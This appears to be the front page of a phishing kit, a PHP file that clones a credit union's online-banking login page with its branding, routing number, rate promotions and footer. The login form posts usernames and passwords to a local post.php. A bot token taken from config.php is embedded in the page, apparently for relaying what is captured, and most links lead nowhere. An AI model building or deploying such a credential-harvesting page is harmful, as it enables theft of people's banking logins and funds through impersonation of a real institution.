<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <title>Broadview Federal Credit Union — Online Banking</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --blue:     #0F62FE;
            --blue-dk:  #0d55d8;
            --header:   #0F2C4C;
            --routing:  #D8D8D8;
            --text:     #1a1a1a;
            --text-sub: #555;
            --white:    #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; color: var(--text); background: var(--white); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        /* ── TOP UTILITY BAR ─────────────────────────── */
        .top-bar {
            background: var(--header);
            padding: 0 40px;
            height: 42px;
            display: flex; align-items: center; justify-content: space-between;
        }
        .top-location {
            display: flex; align-items: center; gap: 8px;
            font-size: 12.5px; color: rgba(255,255,255,.85);
        }
        .top-location svg { color: #fff; }
        .top-location .dot { width: 7px; height: 7px; border-radius: 50%; background: #ff4444; display: inline-block; }
        .top-location .opens { font-weight: 600; color: #fff; }
        .top-right-links { display: flex; align-items: center; gap: 20px; }
        .top-right-links a {
            font-size: 12.5px; color: rgba(255,255,255,.8); text-decoration: none;
            display: flex; align-items: center; gap: 5px; font-weight: 500;
        }
        .top-right-links a:hover { color: #fff; }

        /* ── MAIN NAV ────────────────────────────────── */
        .main-nav {
            background: var(--white);
            padding: 0 40px;
            height: 72px;
            display: flex; align-items: center; justify-content: space-between;
            border-bottom: 1px solid #e8eaf0;
            position: relative; z-index: 300;
        }
        .nav-logo img { height: 52px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 32px; }
        .nav-links a {
            font-size: 15px; font-weight: 500; color: var(--text);
            text-decoration: none; transition: color .15s;
        }
        .nav-links a:hover { color: var(--blue); }
        .nav-right { display: flex; align-items: center; gap: 10px; }
        .btn-join {
            padding: 9px 20px; border: 1.5px solid var(--blue);
            background: transparent; color: var(--blue);
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 600;
            border-radius: 4px; cursor: pointer; display: flex; align-items: center; gap: 6px;
            transition: background .15s, color .15s;
        }
        .btn-join:hover { background: var(--blue); color: #fff; }
        .btn-loan {
            padding: 9px 20px; border: 1.5px solid var(--blue);
            background: transparent; color: var(--blue);
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 600;
            border-radius: 4px; cursor: pointer;
            transition: background .15s, color .15s;
        }
        .btn-loan:hover { background: var(--blue); color: #fff; }
        .btn-login-nav {
            padding: 9px 24px; border: none;
            background: var(--blue); color: #fff;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 600;
            border-radius: 4px; cursor: pointer;
            transition: background .15s;
        }
        .btn-login-nav:hover { background: var(--blue-dk); }

        /* ── HERO SECTION ────────────────────────────── */
        .hero {
            background: var(--blue);
            padding: 48px 56px;
            display: flex; align-items: center; gap: 48px;
            min-height: 380px;
        }

        /* Login card */
        .login-card {
            background: var(--white);
            border-radius: 8px;
            padding: 26px 22px 0;
            width: 300px; flex-shrink: 0;
            box-shadow: 0 4px 24px rgba(0,0,0,.18);
            overflow: hidden;
        }
        .lc-fields { padding-bottom: 20px; }
        .lf { margin-bottom: 12px; }
        .lf input {
            width: 100%; height: 46px; padding: 0 14px;
            border: 1px solid #ccc; border-radius: 4px;
            font-family: 'Inter', sans-serif; font-size: 14px; color: var(--text);
            background: var(--white); outline: none;
            transition: border-color .15s, box-shadow .15s;
            -webkit-appearance: none;
        }
        .lf input::placeholder { color: #999; }
        .lf input:focus { border-color: var(--blue); box-shadow: 0 0 0 3px rgba(15,98,254,.15); }
        .btn-log-in {
            width: 100%; height: 46px;
            background: var(--blue); color: #fff;
            border: none; border-radius: 4px;
            font-family: 'Inter', sans-serif; font-size: 15px; font-weight: 600;
            cursor: pointer; margin-bottom: 16px;
            transition: background .15s;
        }
        .btn-log-in:hover { background: var(--blue-dk); }
        .lc-links { display: flex; flex-direction: column; gap: 8px; align-items: center; margin-bottom: 4px; }
        .lc-links a { font-size: 13px; color: var(--blue); text-decoration: none; }
        .lc-links a:hover { text-decoration: underline; }
        .routing-bar {
            background: var(--routing);
            margin: 12px -22px 0;
            padding: 12px 22px;
            text-align: center;
            font-size: 11.5px; font-weight: 700; color: #444;
            letter-spacing: .06em; text-transform: uppercase;
        }

        /* Hero promo text */
        .hero-promo {
            flex: 1; color: #fff;
            padding: 0 20px;
        }
        .hero-promo h2 {
            font-size: clamp(22px, 2.8vw, 38px);
            font-weight: 700; color: #fff;
            line-height: 1.2; margin-bottom: 16px;
        }
        .hero-promo p {
            font-size: 15px; color: rgba(255,255,255,.88);
            line-height: 1.6; margin-bottom: 22px; max-width: 360px;
        }
        .hero-promo .fine {
            font-size: 11px; color: rgba(255,255,255,.6); margin-top: 10px; line-height: 1.5;
        }
        .btn-details {
            display: inline-block; padding: 11px 24px;
            border: 2px solid #fff; border-radius: 4px;
            background: transparent; color: #fff;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 600;
            cursor: pointer; text-decoration: none;
            transition: background .15s, color .15s;
        }
        .btn-details:hover { background: #fff; color: var(--blue); }

        /* Hero photo */
        .hero-photo {
            width: 300px; flex-shrink: 0;
            border-radius: 10px; overflow: hidden;
            box-shadow: 0 4px 24px rgba(0,0,0,.2);
            height: 280px;
        }
        .hero-photo img {
            width: 100%; height: 100%;
            object-fit: cover; object-position: center;
            display: block;
        }

        /* ── TAGLINE STRIP ───────────────────────────── */
        .tagline-strip {
            padding: 48px 56px 24px;
            background: var(--white);
        }
        .tagline-strip h2 {
            font-size: clamp(22px, 2.5vw, 34px);
            font-weight: 400; color: var(--blue); line-height: 1.3;
        }

        /* ── QUICK LINKS ─────────────────────────────── */
        .quick-links {
            padding: 0 56px 36px;
            display: flex; gap: 0; flex-wrap: wrap;
            background: var(--white);
            border-bottom: 1px solid #e8eaf0;
        }
        .ql-item {
            padding: 18px 24px;
            border: 1px solid #dde2ea;
            font-size: 13px; font-weight: 600; color: var(--text);
            cursor: pointer; text-align: center;
            transition: border-color .15s, color .15s;
            min-width: 140px;
        }
        .ql-item:hover { color: var(--blue); border-color: var(--blue); }
        .ql-item.active { border-bottom: 3px solid var(--blue); color: var(--blue); font-weight: 700; }

        /* ── FOOTER ──────────────────────────────────── */
        .page-footer { background: var(--header); padding: 20px 40px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; margin-top: auto; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,.55); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,.3); }

        @media(max-width:960px) { .nav-links{display:none;} .hero{flex-direction:column;padding:32px 24px;gap:24px;} .hero-photo{width:100%;height:220px;} .login-card{width:100%;} .hero-promo{padding:0;} .top-bar,.main-nav{padding-left:20px;padding-right:20px;} .tagline-strip,.quick-links{padding-left:24px;padding-right:24px;} }
        @media(max-width:500px) { .top-right-links a span{display:none;} .nav-right .btn-join,.nav-right .btn-loan{display:none;} }
    </style>
</head>
<body>

    <!-- Top bar -->
    <div class="top-bar">
        <div class="top-location">
            <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0 1 18 0z"/><circle cx="12" cy="10" r="3"/></svg>
            Winners Circle
            <span class="dot"></span>
            <span class="opens">OPENS AT 8:30 AM</span>
        </div>
        <div class="top-right-links">
            <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M20.84 4.61a5.5 5.5 0 0 0-7.78 0L12 5.67l-1.06-1.06a5.5 5.5 0 0 0-7.78 7.78l1.06 1.06L12 21.23l7.78-7.78 1.06-1.06a5.5 5.5 0 0 0 0-7.78z"/></svg><span>Why Broadview</span></a>
            <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="12" y1="1" x2="12" y2="23"/><path d="M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"/></svg><span>Rates</span></a>
            <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg><span>Search</span></a>
            <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07A19.5 19.5 0 0 1 4.69 12 19.79 19.79 0 0 1 1.61 3.41 2 2 0 0 1 3.6 1.21h3a2 2 0 0 1 2 1.72c.127.96.361 1.903.7 2.81a2 2 0 0 1-.45 2.11L7.91 8.6a16 16 0 0 0 6.29 6.29l.94-.94a2 2 0 0 1 2.11-.45 12.84 12.84 0 0 0 2.81.7A2 2 0 0 1 22 16.92z"/></svg><span>Contact</span></a>
            <a href="#"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="1"/><circle cx="19" cy="12" r="1"/><circle cx="5" cy="12" r="1"/></svg><span>More</span></a>
        </div>
    </div>

    <!-- Main Nav -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.svg" alt="Broadview Federal Credit Union"></div>
        <div class="nav-links">
            <a href="#">Personal</a>
            <a href="#">Business</a>
            <a href="#">Community</a>
            <a href="#">Education</a>
        </div>
        <div class="nav-right">
            <button class="btn-join">Join <span style="font-weight:900;letter-spacing:-.02em">|B|</span></button>
            <button class="btn-loan">Apply for a Loan</button>
            <button class="btn-login-nav">Log In</button>
        </div>
    </nav>

    <!-- Hero -->
    <div class="hero">
        <!-- Login Card -->
        <div class="login-card">
            <div class="lc-fields">
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post">
                    <div class="lf"><input type="text" name="user" placeholder="Username" required autocomplete="username"></div>
                    <div class="lf"><input type="password" name="pass" placeholder="Password" required autocomplete="current-password"></div>
                    <button type="submit" class="btn-log-in">Log In</button>
                    <div class="lc-links">
                        <a href="#">Enroll in Online Banking</a>
                        <a href="#">Forgot Username/<span style="color:var(--blue)">Password</span></a>
                    </div>
                </form>
            </div>
            <div class="routing-bar">ROUTING NUMBER - 221373383</div>
        </div>

        <!-- Promo text -->
        <div class="hero-promo">
            <h2>Lock In 3.75% APY<sup style="font-size:.55em">^</sup></h2>
            <p>Open a 6-month certificate for quick returns, or an 18-month bump-up that lets you increase your rate if it rises.</p>
            <a href="#" class="btn-details">Details &amp; Open</a>
            <div class="fine">^Terms and Conditions apply. Click <a href="#" style="color:rgba(255,255,255,.75);text-decoration:underline">here</a> for details.</div>
        </div>

        <!-- Photo -->
        <div class="hero-photo">
            <img src="res/img/background.webp" alt="Broadview member">
        </div>
    </div>

    <!-- Tagline -->
    <div class="tagline-strip">
        <h2>More of what you need for today, and tomorrow.</h2>
    </div>

    <!-- Quick links -->
    <div class="quick-links">
        <div class="ql-item">Car Buyers:<br>4.74% APR</div>
        <div class="ql-item">Apply for<br>Scholarships</div>
        <div class="ql-item">Home Lending<br>Solutions</div>
        <div class="ql-item">F.I.T. for Life<br>Event for Teens</div>
        <div class="ql-item active">New Youth<br>Incentive!</div>
        <div class="ql-item">Need Budgeting<br>Help?</div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">NCUA</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 Broadview Federal Credit Union. All Rights Reserved. Federally Insured by NCUA.</div>
    </footer>

    <script src="./res/jq.js"></script>
</body>
</html>